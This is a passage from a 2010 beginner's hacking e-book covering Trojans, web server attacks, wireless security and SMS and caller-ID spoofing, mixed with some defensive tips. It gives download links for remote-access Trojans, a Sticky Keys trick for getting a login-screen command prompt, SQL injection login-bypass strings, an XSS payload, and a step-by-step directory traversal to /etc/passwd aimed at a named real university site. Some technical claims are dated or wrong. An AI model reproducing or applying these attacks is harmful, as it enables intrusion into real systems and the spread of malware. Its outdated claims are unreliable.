- After this one can hit the Shift Key 5 times on the User Login Screen and will get the Command Prompt right there. Net User command can be used to modify User Accounts thereafter.

"This trick will not work in Windows Vista and Windows 7".

Change the Boot Sequence

- You should change the boot sequence in the BIOS so that your computer is not configured to boot from the CD first. It should be configured as Hard Disk as the First Boot Device.
- This will protect your computer from the attacking Live CDs.
- You may press Del or F2 Key at the System Boot to go to the BIOS Setup.

4. Trojans in Brief

This tutorial will include the understanding concept of Trojan, Dangers created by Trojans, how they can come to your computer, how do they destroy you and your data. How many types of Trojans are there, how Trojans are attached behind other applications and finally the most important, Detection of Trojan on your computer and their prevention

to safeguard your system and your data.

Knowing the Trojan

A Trojan is a malicious program misguided as some very important application. Trojans comes on the backs of other programs and are installed on a system without the User’s knowledge. Trojans are malicious pieces of code used to install hacking software on a target system and aid the Hacker in gaining and retaining access to that system. Trojans and their counterparts are important pieces of the Hacker’s tool-kit.

Trojans is a program that appears to perform a desirable and necessary function but that, because of hidden and unauthorized code, performs functions unknown and unwanted by the user. These downloads are fake programs which seems to be a original application, it may be a software like monitoring program, system virus scanners, registry cleaners, computer system optimizers, or they may be applications like songs, pictures, screen savers, videos, etc..

¬ You just need to execute that software or application, you will find the application running or you might get an error, but once executed the Trojan will install itself in the system automatically.

¬ Once installed on a system, the program then has system-level access on the target system, where it can be destructive and insidious. They can cause data theft and loss, and system crashes or slowdowns; they can also be used as launching points for other attacks against your system.

¬ Many Trojans are used to manipulate files on the victim computer, manage processes, remotely run commands, intercept keystrokes, watch screen images, and restart or shut down infected hosts.

Different Types of Trojans

1. Remote Administration Trojans: There are Remote Access Trojans which are used to control the Victim’s computer remotely.

2. Data Stealing Trojans: Then there are Data Sending Trojans which compromised the data in the Victim’s computer, then find the data on the computer and send it to the attacker automatically.

3. Security Disabler Trojan: There are Security software disablers Trojans which are used to stop antivirus software running in the Victim’s computer.

In most of the cases the Trojan comes as a Remote Administration Tools which turns the Victim’s computer into a server

which can controlled remotely. Once the Remote Access Trojan is installed in the system, the attacker can connect to that computer and can control it.

Some famous Trojans

- Beast

Download - http://u.to/ZSSk

- Back Orifice

Download - http://u.to/hCSk

- Net Bus

Download it from – http://u.to/1SSk

- Pro Rat

Download it from – http://u.to/xCSk

- Girl Friend

Download it from – http://u.to/AyWk

- Sub Seven

Download it from – http://u.to/FCWk

Components of Trojans

Trojan consists of two parts:

1. A Client component
2. A Server component.

One which resides on the Victim’s computer is called the server part of the Trojan and the one which is on the attacker’s computer is called the client Part of the Trojan. For the Trojan to function as a backdoor, the server Component has to be installed on the Victim’s machine.

Hacking For Beginners – Manthan Desai 2010
w w w . h a c k i n g t e c h . c o . t v
Page 46
1. Server component of the Trojan opens a port in the Victim’s computer and invites the Attacker to connect and administrate the computer.
2. Client component of the Trojan tries to connect the Victim’s computer and administrate the computer without the permission of the User.
Wrapper
A Wrapper is a program used to combine two or more executables into a single packaged program. The wrapper attaches a harmless executable, like a game, to a Trojan’s payload, the executable code that does the real damage, so that it appears to be a harmless file.
Hackers use Wrappers to bind the Server part of the Software behind any image or any other file. Wrappers are also known as Binders.
Generally, games or other animated installations are used as wrappers because they entertain the user while the Trojan in being installed. This way, the user doesn’t notice the slower processing that occurs while the Trojan is being installed on the system—the user only sees the legitimate application being installed.
Hacking For Beginners – Manthan Desai 2010
w w w . h a c k i n g t e c h . c o . t v
Page 47
Mode of Transmission for Trojans
Reverse Connection in Trojans
Reverse-connecting Trojans let an attacker access a machine on the internal network from the outside. The Hacker can install a simple Trojan program on a system on the internal network. On a regular basis (usually every 60 seconds), the internal server tries to access the external master system to pick up commands. If the attacker has typed something into the master system, this command is retrieved and executed on the internal system. Reverse WWW shell uses standard HTTP. It’s dangerous because it’s difficult to detect - it looks like a client is browsing the Web from the internal network
Now the final part ….
Detection and Removal of Trojans

The unusual behavior of system is usually an indication of a Trojan attack. Actions/symptoms such as,

• Programs starting and running without the User’s initiation.

• CD-ROM drawers Opening or Closing.

• Wallpaper, background, or screen saver settings changing by themselves.

• Screen display flipping upside down.

• Browser program opening strange or unexpected websites

All above are indications of a Trojan attack. Any action that is suspicious or not initiated by the user can be an indication of a Trojan attack.

One thing which you can do is to check the applications which are making network connections with other computers. One of those applications will be a process started by the Server Trojan.

You also can use the software named process explorer which monitors the processes executed on the computer with its original name and the file name. As there are some Trojans who themselves change their name as per the system process which runs on the computer and you cannot differentiate between the Trojan and the original system process in the task manager processes tab, so you need PROCESS EXPLORER.

TCP (Transmission Control Protocol) view

• TCP View is a Windows program that will show you detailed listings of all TCP (Transmission Control Protocol) and UDP (User Datagram Protocol) endpoints on your system, including the local and remote addresses and state of TCP connections.

• On Windows NT, 2000, and XP, TCP View also reports the name of the process that owns the endpoint.

• Active connections will appear in Green Color. You can always Right Click on the check the properties of the application.

• Once you have got hold of the Trojan application, you can Kill the active connection and the running process and then delete the physical application file. This will make you recover from the attack of Trojan.

Countermeasures for Trojan attacks

Most commercial antivirus programs have Anti-Trojan capabilities as well as spy ware detection and removal functionality. These tools can automatically scan hard drives on startup to detect backdoor and Trojan programs before

they can cause damage. Once a system is infected, it’s more difficult to clean, but you can do so with commercially available tools. It’s important to use commercial applications to clean a system instead of freeware tools, because many freeware removal tools can further infect the system. In addition, port monitoring tools can identify ports that have been opened or files that have changed.

The key to preventing Trojans and backdoors from being installed on a system is to not to install applications downloaded from the Internet or open Email attachments from parties you don’t know. Many systems administrators don’t give users the system permissions necessary to install programs on system for the very same reason.

5. Attacks on Web servers and Security

Introduction to Web Servers

A Web Server is a program which is configured to serve Web Pages using the Hyper Text Transfer Protocol (HTTP).

• Served content usually is HTML documents and linked objects Images, Scripts, Text, etc.

• Web server has an IP address and possibly a domain name. For example, if you enter the URL http://www.hackingtech.co.tv/mobile.html in your browser, this sends a request to the server whose domain name is hackingtech.co.tv. The server then fetches the page named mobile.html and sends it to your browser.

Setting Up a Web Server

Any computer can be turned into a Web server by installing server software and connecting the machine to the Internet. There are many Web server software applications available.

• Software to setup a Web Server:

– Apache

– IIS

The Basic Process: How Web servers work

Let's say that you are sitting at your computer, surfing the Web. So you type that URL into your browser and press enter.

• And magically, no matter where in the world that URL lives, the page pops up on your screen.

• Web browser forms a connection to a Web server, requests a page and receives it.

w w w . h a c k i n g t e c h . c o . t v
Page 50
Attacks on Web servers
• Web Ripping
• Google Hacking
• SQL Injection
• PHP Remote Code Execution
• Cross Site Scripting
• Directory Transversal Attacks
Web Ripping
• Web Ripping is finding and extracting pictures and other media files from specified website URLs and save them to your hard drive.
• Web Ripping is the ability to copy the structure of a Web site to a local disk and obtain a complete profile of the site and all its files and links.
• We can use Black Windows Web ripper for web ripping.
Hacking For Beginners – Manthan Desai 2010
w w w . h a c k i n g t e c h . c o . t v
Page 51
Google Hacking
• As we all know, Google is a Search Engine.
• Google keeps snapshots of pages it has crawled that we can access via the Cached link on the search results page.
• Google hacking involves using Advance Search Operators in the Google search engine to locate specific strings of text within search results. Some of the more popular examples are finding specific versions of Vulnerable Web Applications.
• You can look for the particular File types, Password files and Directories. Even you can find out the IP based CCTV Cameras.
Hacking For Beginners – Manthan Desai 2010
w w w . h a c k i n g t e c h . c o . t v
Page 52

Intitle: Search For the Text In The title of the websites
This Search will give you the List of all the websites with Title Hacking.
Site: To Narrow the Search of specific Website.
This Search will give you the List of all the web pages from the website hackingtech.co.tv
FileType: Searching for the files of specific type.
This Search will give you the List of all the website link containing the MS Word Document of the name hacking.

To Find the CCTV all over the world.
This Search will give you the List of all the website links for the CCTV cameras over the World.
The More commands for the CCTV cameras Will be explained in the later part of the book.
Protecting Your Files from Google
• A robots.txt file restricts access to your site by search engine robots that crawls the web. These bots are automated, and before access pages of a site, they check to see if a robots.txt file exists that prevents them from accessing certain pages.
• You need a robots.txt file only if your site includes content that you don't want search engines to catch. If you want search engines to index everything in your site, you don't need a robots.txt file (not even an empty one).
Example of Simple ROBOT.txt file.

Cross Site Scripting (XSS)
• Cross-Site Scripting (XSS) is a type of computer security vulnerability typically found in web applications which allow code injection by malicious web users into the web pages viewed by other users. Examples of such code include HTML code and client-side scripts.
• An exploited Cross-Site Scripting vulnerability can be used by attackers to bypass access controls such as the same origin policy. Recently, vulnerabilities of this kind have been exploited to craft powerful phishing attacks and browser exploits.
Cross site scripting was originally referred to as CSS, although this usage has been largely discontinued.

The ratio of XSS attack is very large as compared to other attacks performed.

Example of a Cross Site Scripting attack

As a simple example, imagine a search engine site which is open to an XSS attack. The query screen of the search engine is a simple single field form with a submit button. Whereas the results page, displays both the matched results and the text you are looking for.

Example:

Search Results for "XSS Vulnerability"

To be able to bookmark pages, search engines generally leave the entered variables in the URL address. In this case the URL would look like:

http://test.searchengine.com/search.php?q=XSS%20

Vulnerability

Next we try to send the following query to the search engine:

<script type="text/javascript"> alert (‘this is an XSS Vulnerability') </script>

By submitting the query to search.php, it is encoded and the resulting URL would be something like:

http://test.searchengine.com/search.php?q=%3Cscript%3

Ealert%28%91This%20is%20an%20XSS%20Vulnerability%92%2

9%3C%2Fscript%3E

Upon loading the results page, the test search engine would probably display no results for the search but it will display a JavaScript alert which was injected into the page by using the XSS vulnerability.

How to check for Cross site scripting vulnerabilities

To check for Cross site scripting vulnerabilities, use a Web Vulnerability Scanner. A Web Vulnerability Scanner crawl your entire website and automatically checks for Cross Site Scripting vulnerabilities. It will indicate which URLs/scripts are vulnerable to these attacks so that you can fix the vulnerability easily. Besides Cross site scripting vulnerabilities a web application scanner will also check for SQL injection & other web vulnerabilities.

You Will Be explained more about this attack in the later part of the book in website hacking category..

Directory Traversal Attack

• Directory traversal attacks allow malicious users to literally "traverse" the directory and bypass the access control list to gain access to restricted files and even manipulate data.

• These attacks are HTTP exploits that begin with a simple GET or other type of HTTP request from a dynamic page. If your Web site is vulnerable, and chances are it is, the server will return with a file that hasn't been properly validated. A malicious user will then send a request for a file one or more directories up by adding one or more "../" directives to the string. Each "../" instructs the page to "go up one directory."

Example of a directory traversal attack via web application code

In order to perform a directory traversal attack, all an attacker needs is a web browser and some knowledge on where to blindly find any default files and directories on the system.

The following example will make clear everything

Visit this website vulnerable to directory transversal attack

http://www.chitkara.edu.in/chitkara/chitkarauniversity.php?page=notification.php

This web server is running on UNIX like operating system. There is a directory 'etc' on unix/linux which contains configuration files of programs that run on system. Some of the files are passwd, shadow, profile,sbin placed in 'etc' directory.

The file etc/passwd contains the login names of users and even passwords too.

Lets try to access this file on web server by stepping out of the root directory. Carefully see the position of directories placed on the web server.

We do not know the actual names and contents of directories except 'etc' which is default name , So I have marked them as A,B,C,E or whatever.

We are in directory in F accessing the web pages of website.

Let’s type this in URL field and press enter

http://www.chitkara.edu.in/chitkara/chitkarauniversity.php?page=etc/passwd

This will search the directory 'etc' in F. But obviously, there is nothing like this in F, so it will return nothing now type

http://www.chitkara.edu.in/chitkara/chitkarauniversity.php?page=../etc/passwd
Hacking For Beginners – Manthan Desai 2010
w w w . h a c k i n g t e c h . c o . t v
Page 57
Now this will step up one directory (to directory E) and look for 'etc' but again it will return nothing Now type
http://www.chitkara.edu.in/chitkara/chitkarauniversity.php?page=../../etc/passwd
Now this will step up two directories (to directory D) and look for 'etc' but again it will return nothing.
So by proceeding like this, we go for this URL
http://www.chitkara.edu.in/chitkara/chitkarauniversity.php?page=../../../../../etc/passwd
It takes us 5 directories up to the main drive and then to 'etc' directory and show us contents of 'passwd' file.
To understand the contents of 'passwd' file, visit
http://www.cyberciti.biz/faq/understanding-etcpasswd-file-format/
You can also view etc/profile; etc/services and many others files like backup files which may contain sensitive data. Some
files like etc/shadow may not be accessible because they are accessible only by privileged users.
If proc/self/environ would be accessible; you might upload a shell on server which is called as Local File Inclusion.
Database Servers
• The Database server is a key component in a client/server environment. Specially the Websites which have a User Login
Architecture.
• Database Server holds the Database Management System (DBMS) and the Data Records. Upon requests from the client
machines, it searches the database for selected records and passes them back over the network.
• Software to setup a Database Server:
– Oracle
– SQL Server
– MySql
Hacking For Beginners – Manthan Desai 2010
w w w . h a c k i n g t e c h . c o . t v
Page 58
Login Process on the websites

Let's say that you are sitting at your computer, surfing the Web, and you open a Website to Login to your account.
1: You type in the Login Username and Password and clicks on Sign in and you get in to your account.
2: Web Server receives the Username and Password and forwards it to the Database server.
3: Database server receives the Username and Password from the Web Server and checks its tables for that Username and Password and sends the result of the authentication to the Web Server.
4: Web Server receives the Authentication result from the Database Server and on the basis of the result, redirects the User to the proper Webpage.
• If the Authentication is True, User gets signed in to the Account, and if it fails User is asked to Sign In again.
SQL Injection

• A SQL injection attack exploits vulnerabilities in a web server database that allow the attacker to gain access to the database and read, modify, or delete information.
• An example of a SQL injection attack is making the condition true by giving the identical value to a web page. These values can be inserted into a login as follows:
• Login: 1' or '1'='1 and Password= 1' or '1'='1
• Login: 1' or '1'='1';--
• When the Username argument is evaluated, ‘1’=’1’ will assess to TRUE, and an authentic username will be returned.
The Systametic Execution of SQL injection is explained in the image below.
Input validation on the SQL Injection
• There are measures that can be applied to mitigate SQL injection attacks.
• Web developer can check whether some suspicious characters are sent from the Login Page like ‘, “, ;, -- , etc
• Always store the Passwords in the Database server in the Encrypted Form.
• Use of these practices does not guarantee that SQL injection can be completely eliminated, but they will make it more difficult for Hackers to conduct these attacks.

Page 60

Input Validation can help prevent

PHP Injection: Placing PHP backdoors

• This attack provides the means for a Hacker to execute his or her system level code on a target web server. With this capability, an attacker can compromise the web server and access files with the same rights as the server system software.

• For example, a number of PHP programs contain a vulnerability that could enable the transfer of unchecked user commands to the eval ( ) function.

Page 61

PHP Eval() function

PHP Remote code Execution

Page 62

Directory Access controls

• Htaccess files provide a way to make configuration changes on a per-directory basis.

• Htaccess files should be used in a case where the content providers need to make configuration changes to the server on a per-directory basis, but do not have root access on the server system.

Configuring .htacess

How Attackers Hide Them While Attacking

Proxy Servers

• A Proxy Server is a server that acts as an intermediary between a workstation user and the Internet so that the enterprise can ensure security, administrative control and caching service.

• Hackers generally use the Proxy server on the Internet to make their Identity invisible to the target.

• So They hide their IP address by using the proxy server and make an anonymous brousing over internet.

• Please See the diagram for better understanding.

Hacking For Beginners – Manthan Desai 2010
w w w . h a c k i n g t e c h . c o . t v
Page 63
Types of Proxy Servers
• Web Proxy
• Anonymous Proxy Server
Web Proxy Server
• A Proxy site is a web page which allows a user to browse other web sites.
• If an Attacker finds that he is blocked from accessing a Website, he will use any of web proxy sites to get bypass the block.
Hacking For Beginners – Manthan Desai 2010
w w w . h a c k i n g t e c h . c o . t v
Page 64
Anonymous Proxy Server
• An Anonymous proxy is a proxy server designed to protect the privacy and anonymity of web browsers from web site operators.
• In Anonymous Proxy, you get an IP Address and a Port Number. You have to configure that IP and Port with your Web Browser and you will be surfing anonymously.
“Do not use this hack trick in any criminal activities and please do not destroy any ones account this is for educational purpose only”.
Hacking For Beginners – Manthan Desai 2010
w w w . h a c k i n g t e c h . c o . t v
Page 65
6. Wireless hacking
Wireless network refers to any type of computer network which is wireless, and is commonly associated with a network whose interconnections between nodes e.g. Laptops, Desktops, Printers etc is implemented without the use of wires. The popularity in Wireless Technology is driven by two major factors: convenience and cost. A Wireless Local Area Network (WLAN) allows workers to access digital resources without being locked to their desks. Mobile users can

connect to a Local Area Network (LAN) through a Wireless (Radio) connection.
Demand for wireless access to LANs is fueled by the growth of mobile computing devices, such as laptops and personal digital assistants, and by users' desire for continuous network connections without physically having to plug into wired systems.
For the same reason that WLANs are convenient, their open broadcast infrastructure, they are extremely vulnerable to intrusion and exploitation. Adding a wireless network to an organization's internal LAN may open a backdoor to the existing wired network.
The IEEE 802.11 standard refers to a family of specifications for wireless local area networks (WLANs) developed by a working group of the Institute of Electrical and Electronics Engineers (IEEE). This standards effort began in 1989, with the focus on deployment in large enterprise networking environments, effectively a wireless equivalent to Ethernet. The IEEE accepted the specification in 1997. Standard 802.11 specifies an over-the-air interface between a mobile device wireless client and a base station or between two mobile device wireless clients.
Wireless Standards
Hacking For Beginners – Manthan Desai 2010
w w w . h a c k i n g t e c h . c o . t v
Page 66
• WAP (Wireless Access Point):
Wireless Access Point is the point from where the Wireless network are generated. Like the Wireless Routers or Switches.
•SSID (Service Set Identifier):
An SSID is the name of a wireless local area network (WLAN). All wireless devices on a WLAN must employ the same SSID in order to communicate with each other. SSID is also known as ESSID (Extended Service Set Identifier).
• BSSID (Basic Service Set Identifier):
A BSSID is the MAC Address (Media Access Control) or Physical Address of the Wireless Access Point or the Wireles Router. This is a unique 48 bit key provided by the manufacturer of the device. It can be in the form of Hexadecimal i.e. 0-9 , A-F.
E.g. 00:A1:CB:12:54:9F
• For checking your card's MAC Address:

Start > Run > CMD
Write “getmac” in Command Prompt.
• Beacons:
These are the Wireless Packets which are broadcasted to maintain the connectivity with the Wireless Access Point and Client systems. The Wireless Access point broadcasts beacon frames from time to time to check connectivity with the systems.
• Channel:
It is the frequency at with the Wireless Signal travels through air.
• Data Packets:
These are the packets which sent and received for the transfer of data between Wireless Access Point and Client systems. All the data communicated between two Computers travels in the form of Data Packets.
• Data Packets:
These are the packets which sent and received for the transfer of data between Wireless Access Point and Client systems. All the data communicated between two Computers travels in the form of Data Packets.

Services provided by Wireless Networks
• Association:
It establishes wireless links between wireless clients and access points in infrastructure networks.
• Re-association:
This action takes place in addition to association when a wireless client moves from one Basic Service Set (BSS) to another, such as in Roaming.
• Authentication:
This process proves a client’s identity through the use of the 802.11 option, Wired Equivalent Privacy (WEP). In WEP, a shared key is configured into the access point and its wireless clients. Only those devices with a valid shared key will be allowed to be associated with the access point.
•Privacy:

In the 802.11 standard, data are transferred in the clear by default. If confidentiality is desired, the WEP option encrypts data before it is sent wirelessly. The WEP algorithm of the 802.11 Wireless LAN Standard uses a secret key that is shared between a mobile station (for example, a laptop with a wireless Ethernet card) and a base station access point to protect the confidentiality of information being transmitted on the LAN.

Standard Wireless Security Solution

Wireless Security policies are developed or enhanced to accommodate the wireless environment. Primary issues will be ownership and control of the wireless network, controlling access to the network, physically securing access points, encrypting, auditing, and the procedures for detecting and handling rogue access points or networks. User security awareness policies should be implemented.

SSID Solution

Wireless equipment manufacturers use a default Service Set ID (SSID) in order to identify the network to wireless clients. All access points often broadcast the SSID in order to provide clients with a list of networks to be accessed. Unfortunately, this serves to let potential intruders identify the network they wish to attack. If the SSID is set to the default manufacturer setting it often means that the additional configuration settings (such as passwords) are at their defaults as well. Good security policy is to disable SSID broadcasting entirely. If a network listing is a requirement for network users then changing the SSID to something other than the default, that does not identify the company or location, is a must. Be sure to change all other default settings as well to reduce the risk of a successful attack.

MAC address filtering

Some 802.11 access point devices have the ability to restrict access to only those devices that are aware of a specific identification value, such as a MAC address. Some access point devices also allow for a table of permitted and denied MAC addresses, which would allow a device administrator to specify the exact remote devices that are authorized to make use of the wireless service. Client computers are identified by a unique MAC address of its IEEE 802.11 network card. To secure an access point using MAC address filtering, each access point must have a list of authorized client MAC address in its access control list.

¬ We can Prevent or Permit machines on the behalf of MAC Addresses.

Hacking For Beginners – Manthan Desai 2010

w w w . h a c k i n g t e c h . c o . t v

Page 69

WEP key encryption

The IEEE 802.11b standard defines an optional encryption scheme called Wired Equivalent Privacy (WEP), which creates a mechanism for securing wireless LAN data streams. WEP was part of the original IEEE 802.11 wireless standard. These algorithms enable RC4-based, 40-bit data encryption in an effort to prevent an intruder from accessing the network and capturing wireless LAN traffic.

WEP's goal is to provide an equivalent level of security and privacy comparable to a wired Ethernet 802.3 LAN. WEP uses a symmetric scheme where the same key and algorithm are used for both encryption and decryption of data. WEP is disabled by default on most wireless network equipment.

Wireless security Overview

Two methods exist for authenticating wireless LAN clients to an access point: Open system or Shared key authentication.

1. Open system does not provide any security mechanisms but is simply a request to make a connection to the network.

2. Shared key authentication has the wireless client hash a string of challenge text with the WEP key to authenticate to the network.

Wireless Attacks

Broadcast Bubble :

One of the problems with wireless is that the radio waves that connect network devices do not simply stop once they reach a wall or the boundary of a business. They keep traveling into parking lots and other businesses in an expanding circle from the broadcast point, creating a 'bubble' of transmission radiation. This introduces the risk that unintended parties can eavesdrop on network traffic from parking areas or any other place where a laptop can be set up to intercept the signals.

War Driving :

War Driving is finding out the Wireless Networks present around the Wireless Card. common war driving exploits find many wireless networks with WEP disabled and using only the SSID for access control. This vulnerability makes these networks susceptible to the parking lot attack, where an attacker has the ability to

gain access to the target network a safe distance from the building’s perimeter.
Hacking For Beginners – Manthan Desai 2010
w w w . h a c k i n g t e c h . c o . t v
Page 70
WAR Driving is of two types:
1. Active War Driving
2. Passive War Driving
Active War Driving :
Active War Driving is detecting the Wireless Networks whose SSIDs are broadcasted or the Wireless Networks which are shown to all the Wireless Adapters. It can be done through any Wireless Card.
Passive War Driving :
Passive War Driving is detecting the Wireless Networks whose SSIDs are not Broadcasted or the Hidden Wireless Networks. The Wireless card should support the Monitor Mode for the Passive War Driving.
MAC spoofing
Even if WEP is enabled, MAC addresses can be easily sniffed by an attacker as they appear in the clear format, making spoofing the MAC address also fairly easy.
MAC addresses are easily sniffed by an attacker since they must appear in the clear even when WEP is enabled. An attacker can use those “advantages” in order to masquerade as a valid MAC address, by programming the wireless card or using a spoofing utility, and get into the wireless network.
WEP cracking
• Wired Equivalent Privacy (WEP) was the first security option for 802.11 WLANs. WEP is used to encrypt data on the WLAN and can optionally be paired with shared key authentication to authenticate WLAN clients. WEP uses an RC4 64-bit or 128-bit encryption key.
• WEP was fairly quickly found to be crack able. WEP is vulnerable because of relatively short and weak encryption. The security of the WEP algorithm can be compromised.
Hacking For Beginners – Manthan Desai 2010
w w w . h a c k i n g t e c h . c o . t v
Page 71

Countermeasures for Wireless attacks
Hide the Wireless Network:
Do not broadcast the SSID of the Wireless Network. This will help you in protecting your
Wireless being invisible to the people who do not know about Passive War Driving
Use a Secured Key :
You can use the WEP Key protection on your Wireless Network to protect your Wireless
Network Connection.
Although this is not the ultimate security measure but will help you a lot against the Script
Kiddies who do not know how to break into the WEP Protection.
WPA: Wi-Fi Protected Access
•WPA employs the Temporal Key Integrity Protocol (TKIP)—which is a safer RC4 implementation—for data encryption
and either WPA Personal or WPA Enterprise for authentication.
•WPA Enterprise is a more secure robust security option but relies on the creation and more complex setup of a RADIUS
server. TKIP rotates the data encryption key to prevent the vulnerabilities of WEP and, consequently, cracking attacks.
Mac Filtering
An early security solution in WLAN technology used MAC address filters: A network administrator entered a list of valid
MAC addresses for the systems allowed to associate with the Wireless Access Point.
Choosing the Best Key
Always use a long WPA Key with lower as well as upper case letters including numbers and special characters.
Sample Key: 12345@abcde&FGHI

7. Mobile hacking – SMS & Call forging
It was bound to happen - they have hacked just about everything else. Now it's the cell phones. Cellphone hacking has
just recently surfaced and been made public ever since some one did some cellular phone hacking on Paris Hilton's cell
phone.
This article will give you some information about what is going on out there and what you can do to better protect your

cell phone information.

What Does It Involve

The fact of someone hacking cell phone became public knowledge when Paris Hilton's cell phone, along with her information was recently hacked. Unfortunately for her, all her celebrity friends and their phone numbers were also placed on the Internet - resulting in a barrage of calls to each of them.

Cell phone hackers have apparently found a glitch in the way the chips are manufactured. The good news, though, is that it only applies to the first generation models of cell phones that use the Global System for Mobile communications (GSM). Another requirement is that the hacker must have physical access to the cell phone for at least three minutes - which is a real good reason not to let it out of your sight. Currently, although the problem has been remedied (at least for now) in the second and third generation phones, it seems that about 70% of existing cell phones fall within the first generation category.

Another way that mobile phone hacking can take place is for a hacker to walk around an area with people that have cell phones and a laptop that has cellphone hacker programs on it. Through an antenna, and a little patience, his computer can literally pick up your cell phone data - if it is turned on. This is more applicable to cell phones that use Bluetooth technology.

What Can A Hacker Do?

Surprisingly, there are quite a number of things that can be accomplished by the hacker. Depending on their intent here are a few of them.

¬ Steal Your Number

Your phone number can be accessed and obtained by cellphone hacking. This allows them to make calls and have it charged to your account.

¬ Take Your Information

Mobile hacking allows a hacker to contact your cell phone, without your knowledge, and to download your addresses and other information you might have on your phone. Many hackers are not content to only get your information. Some will even change all your phone numbers! Be sure to keep a backup of your information somewhere. This particular technique is called Bluesnarfing.

Page 73

Be Prepared for Cell Phone Hacks

¬ Rob Your Money

Other options might use a particular buying feature called SMS. This refers to the fact that money can be taken from your account and transferred into another and a good hacker can sit in one place and access a lot of phones and transfer a lot of money rather quickly - probably in less time than you think!

¬ Give The System A Virus

By using another cell phone hack code, a hacker could kidnap your phone, send it a camouflaged program or send it a virus. But it does not end there, since, from that point, he can use your phone to retransmit the virus to many other phones almost instantly - potentially disabling the system.

¬ Spy On You

A hacker can also gain access and take over for cell phone spying and remote mobile phone hacking. Literally, once secured, the hacker can have the phone call him, and then be able to listen to all conversations going on around the owner of the phone.

¬ Access Your Voice Mails

Voice mails can also be retrieved by a hacker through a hacking cell phone. After stealing your number, this can easily be done - if your password is disabled. The main thing that needs to be understood here, is that the electronics that give you the modern convenience of interacting with the Internet (getting your voice mails, emails, Web surfing, etc.) , is also the same technology that allows you to receive the same ills as can befall someone on the Internet.

What Can You Do?

It seems that the major cell phone companies, at least at this point, really are not interested in bringing the system up to be able to cope with this threat. Meetings are starting to take place, but for now it is not perceived to be real serious. This could be because it is primarily the older phones that are most susceptible to some types of this mobile hacking. Until the cell phone manufacturers are able to cope with, or eliminate, the glitches in the system that allows them to overcome these problems, you will largely have to help yourself to cope with these things. Here are a couple of tips that will help you protect your cell phone, its information, and other things.

¬ Use Your Passwords

The cell phone companies tell us that many people have turned off their passwords when they access their voice mail messages, or other things. This little feature, though it may seem to be an annoyance to some, could protect your phone from unauthorized purposes.

¬ Leave The Phone Off

This one is obviously the harder choice, here, simply because most of us who have cell phones like to be reached anytime and anywhere. Others do need to be reachable at all times.

¬ Upgrade Your Phone

While this cannot guarantee that your phone is not hackable, it certainly will help. It should be remembered that the phone companies work hard to deliver the best technology and conveniences - but the cell phone hacks work just as hard to be the first to break the systems designed to defeat them. It is an ongoing battle.

Cellular phone hacking, for now, is a fact of life that affects a few of us. Gladly, the numbers are still small, but many feel this problem is just getting started. By being aware of the problems, you can wisely take steps to prevent them from happening to you. Cellphone hacking does not need to catch you unprepared.

Call Spoofing / Forging

• Call forging is method to spoof caller id number displayed on the mobile phone/landline.
• It relies on VoIP (Voice over Internet Protocol)
• VoIP is emerging & exciting innovation as far as Information & communication technology is concerned.
• Can be considered as GEN Next Cyber Crime.

About Caller Id Forging/Spoofing

Caller ID Forging the practice of causing the telephone network to display a number on the recipient's caller ID display which is not that of the actual originating station; the term is commonly used to describe situations in which the motivation is considered nefarious by the speaker. Just as e-mail spoofing can make it appear that a message came from any e-mail address the sender chooses, caller ID forging can make a call appear to have come from any phone number the caller wishes. Because people are prone to assume a call is coming from the number (and hence, the associated person, or persons), this can call the service's value into question.

Basics of Call Forging
Firstly the voip is used to call via internet PC to a telephone.
In the Voip there is a loop hole which allow a intruder to spoof a call.
There are many website on the net which provide the facility of the internet calling.
This website work as follows,first the call the source phone no then the destiation number and then bridge them togather.
Here there is no authentication done by the website and server are normally located in US and so tracing of the intruder is not possible.
Thus the intruder logs on to this server and gives a wrong source number and then place a call over internet which is actually a spoofed call which shows wrong identity.
Also there a no laws regarding the call spoofing in India and so a intruder if gets traced is easily backed by the loophole of no laws for it.
thus if you get calls from other numbers dont trust it they may be spoofed calls.

SMS Forging
• SMS is one of the most popular means of communications.
• SMS Forging is the method to spoof sender id of SMS.
• One can send SMS to international Number from any number of sender’s choice.
• Facility to choose sender id upto 11 characters/name.
SMS ROUTING IN GSMFirst
of all the sender send the SMS via SMS gateway. The identity of the sender is attached to the SCCP packer of the SMS. The SMS once reach the SMS gateway is routed to the destination Gateway and then to the receiver’s handset.
There are many ways by which we can send SMS to the SMS gateway.
One of them is to use internet.
Now the concept of SMS forging lies in changing the SCCP packer which contains the sender information prior delivering to the SMS gateway.

The intruder can change the SCCP packet and can send that packet to any of the receiver as a spoofed SMS.
Some of the Website on the net also provide this facility.
0791 7283010010F5 040BC87238880900F1
000099309251619580 0AE8329BFD4697D9.
07- Length of the SMSC information (in this case 7 octets)
91 - Type-of-address of the SMSC. (91 means international format of the phone number)
72 83 01 00 10 F5 - Service center number(in decimal semi-octets). The length of the phone number is odd (11), so a trailing F has been added to form proper octets. The phone number of this service center is "+27381000015".
04- First octet of this SMS-DELIVER message

0B-Address-Length. Length of the sender number (0B hex = 11 dec)
C8-Type-of-address of the sender number
72 38 88 09 00 F1- Sender number (decimal semi-octets), with a trailing F.
• When SMS is sent using an application, it is routed through international gateways.
• Spoofing of Message Id(SDCCH/SCCP Info) take place at International gateway.
• Finally SMS is routed to destination SMS Center number.
• As there is no authentication system, it is sent to destination number with spoof ID.
Bluesnarfing
Bluesnarfing is the theft of information from a wireless device through a Bluetooth connection, often between phones, desktops, laptops, and PDAs. This allows access to a calendar, contact list, emails and text messages. Bluesnarfing is much more serious in relation to Bluejacking, although both exploit others' Bluetooth connections without their knowledge. Any device with its Bluetooth connection turned on and set to "discoverable" (able to be found by other Bluetooth devices in range) can be attacked. By turning off this feature you can be protected from the possibility of being Bluesnarfed. Since it is an invasion of privacy, Bluesnarfing is illegal in many countries.
There are people who have predicted the doom of bluetooth tooth attacks like bluesnarfing. Their reasoning is that WiFi will eventually replace the need for bluetooth devices and without bluetooth, it make sense there will be no bluetooth

attacks.
While convincing and logical, bluetooth have yet to be phased out long after WiFi is in use. In face, there are more and more devices using bluetooth technology. The main reason: It's free. Unlike wifi which is a overall network and you are just a "user" in the network, you "own the network". You can switch in on and off anytime you like, and you don't have to pay a cent. There is no logic for example to use wifi for connecting with your headset, but bluetooth fits that function perfectly.
In fact, this neglect on the importance of bluetooth has led to an added advantage to bluesnarfers. Because every is concern about their wifi security, they neglect the fact that their short ranged network which is their bluetooth can easier be hacked into for someone who is nearby or even far away but with the right equipment.
The reason why there is little news about bluesnarfing is that there is no good solution to the problem at the moment, save for switching off your bluetooth device.
So my advice is, be careful if you keep confidential information on your bluetooth devices.

